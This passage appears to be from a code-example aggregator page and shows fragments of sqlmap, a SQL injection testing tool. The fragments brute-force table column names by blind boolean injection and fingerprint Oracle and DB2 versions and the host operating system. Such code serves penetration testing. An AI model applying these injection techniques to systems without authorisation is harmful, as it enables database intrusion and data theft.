            value += "\n%shtml error message fingerprint: %s" % (blank,
                                                                 htmlErrorFp)

        if fork:
            value += "\n%sfork fingerprint: %s" % (blank, fork)

        return value
Example #58
0
def columnExists(columnFile, regex=None):
    if not conf.tbl:
        errMsg = "missing table parameter"
        raise SqlmapMissingMandatoryOptionException(errMsg)

    if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
        conf.db = conf.db.upper()

    result = inject.checkBooleanExpression(
        safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
                         (randomStr(), randomStr())))

    if result:
        errMsg = "can't use column existence check because of detected invalid results "
        errMsg += "(most probably caused by inability of the used injection "
        errMsg += "to distinguish errornous results)"
        raise SqlmapDataException(errMsg)

    infoMsg = "checking column existence using items from '%s'" % columnFile
    logger.info(infoMsg)

    columns = getFileItems(columnFile, unique=True)
    columns.extend(_addPageTextWords())
    columns = filterListValue(columns, regex)

    table = safeSQLIdentificatorNaming(conf.tbl, True)

    if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms(
    ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
        table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)

    kb.threadContinue = True
    kb.bruteMode = True

    threadData = getCurrentThreadData()
    threadData.shared.count = 0
    threadData.shared.limit = len(columns)
    threadData.shared.value = []

    def columnExistsThread():
        threadData = getCurrentThreadData()

        while kb.threadContinue:
            kb.locks.count.acquire()
            if threadData.shared.count < threadData.shared.limit:
                column = safeSQLIdentificatorNaming(
                    columns[threadData.shared.count])
                threadData.shared.count += 1
                kb.locks.count.release()
            else:
                kb.locks.count.release()
                break

            result = inject.checkBooleanExpression(
                safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE,
                                 (column, table)))

            kb.locks.io.acquire()

            if result:
                threadData.shared.value.append(column)

                if conf.verbose in (1, 2) and not hasattr(conf, "api"):
                    clearConsoleLine(True)
                    infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime(
                        "%X"), unsafeSQLIdentificatorNaming(column))
                    dataToStdout(infoMsg, True)

            if conf.verbose in (1, 2):
                status = '%d/%d items (%d%%)' % (
                    threadData.shared.count, threadData.shared.limit,
                    round(100.0 * threadData.shared.count /
                          threadData.shared.limit))
                dataToStdout(
                    "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status),
                    True)

            kb.locks.io.release()

    try:
        runThreads(conf.threads, columnExistsThread, threadChoice=True)

    except KeyboardInterrupt:
        warnMsg = "user aborted during column existence "
        warnMsg += "check. sqlmap will display partial output"
        logger.warn(warnMsg)

    clearConsoleLine(True)
    dataToStdout("\n")

    if not threadData.shared.value:
        warnMsg = "no column(s) found"
        logger.warn(warnMsg)
    else:
        columns = {}

        for column in threadData.shared.value:
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ):
                result = not inject.checkBooleanExpression(
                    "%s" % safeStringFormat(
                        "EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')",
                        (column, table, column)))
            else:
                result = inject.checkBooleanExpression("%s" % safeStringFormat(
                    "EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))",
                    (column, table, column, column)))

            if result:
                columns[column] = 'numeric'
            else:
                columns[column] = 'non-numeric'

        kb.data.cachedColumns[conf.db] = {conf.tbl: columns}

        for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]),
                     columns.items()):
            if _ not in kb.brute.columns:
                kb.brute.columns.append(_)

        hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)

    return kb.data.cachedColumns
Example #59
0
    def checkDbmsOs(self, detailed=False):
        if Backend.getOs():
            return

        infoMsg = "fingerprinting the back-end DBMS operating system "
        infoMsg += "version and service pack"
        logger.info(infoMsg)

        query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0"
        result = inject.checkBooleanExpression(query)

        if not result:
            Backend.setOs(OS.LINUX)
        else:
            Backend.setOs(OS.WINDOWS)

        infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()

        if result:
            versions = {
                "2003": ("5.2", (2, 1)),
                "2008": ("7.0", (1, )),
                "2000": ("5.0", (4, 3, 2, 1)),
                "7": ("6.1", (1, 0)),
                "XP": ("5.1", (2, 1)),
                "NT": ("4.0", (6, 5, 4, 3, 2, 1))
            }

            # Get back-end DBMS underlying operating system version
            for version, data in versions.items():
                query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[
                    0]
                result = inject.checkBooleanExpression(query)

                if result:
                    Backend.setOsVersion(version)
                    infoMsg += " %s" % Backend.getOsVersion()
                    break

            if not Backend.getOsVersion():
                return

            # Get back-end DBMS underlying operating system service pack
            for sp in versions[Backend.getOsVersion()][1]:
                query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(
                    sp) + "%')>0"
                result = inject.checkBooleanExpression(query)

                if result:
                    Backend.setOsServicePack(sp)
                    break

            if not Backend.getOsServicePack():
                Backend.setOsServicePack(0)
                debugMsg = "assuming the operating system has no service pack"
                logger.debug(debugMsg)

            if Backend.getOsVersion():
                infoMsg += " Service Pack %d" % Backend.getOsServicePack()

            logger.info(infoMsg)
Example #60
0
    def checkDbms(self):
        if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES)
                                     or conf.dbms in ORACLE_ALIASES):
            setDbms(DBMS.ORACLE)

            self.getBanner()

            return True

        infoMsg = "testing %s" % DBMS.ORACLE
        logger.info(infoMsg)

        # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting
        # directly to the Oracle database
        if conf.direct:
            result = True
        else:
            result = inject.checkBooleanExpression("ROWNUM=ROWNUM")

        if result:
            infoMsg = "confirming %s" % DBMS.ORACLE
            logger.info(infoMsg)

            # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
            # not work connecting directly to the Oracle database
            if conf.direct:
                result = True
            else:
                result = inject.checkBooleanExpression(
                    "LENGTH(SYSDATE)=LENGTH(SYSDATE)")

            if not result:
                warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.ORACLE)

            self.getBanner()

            if not conf.extensiveFp:
                return True

            infoMsg = "actively fingerprinting %s" % DBMS.ORACLE
            logger.info(infoMsg)

            for version in ("11i", "10g", "9i", "8i"):
                number = int(re.search("([\d]+)", version).group(1))
                output = inject.checkBooleanExpression(
                    "%d=(SELECT SUBSTR((VERSION), 1, %d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)"
                    % (number, 1 if number < 10 else 2))

                if output:
                    Backend.setVersion(version)
                    break

            return True
        else:
            warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
            logger.warn(warnMsg)

            return False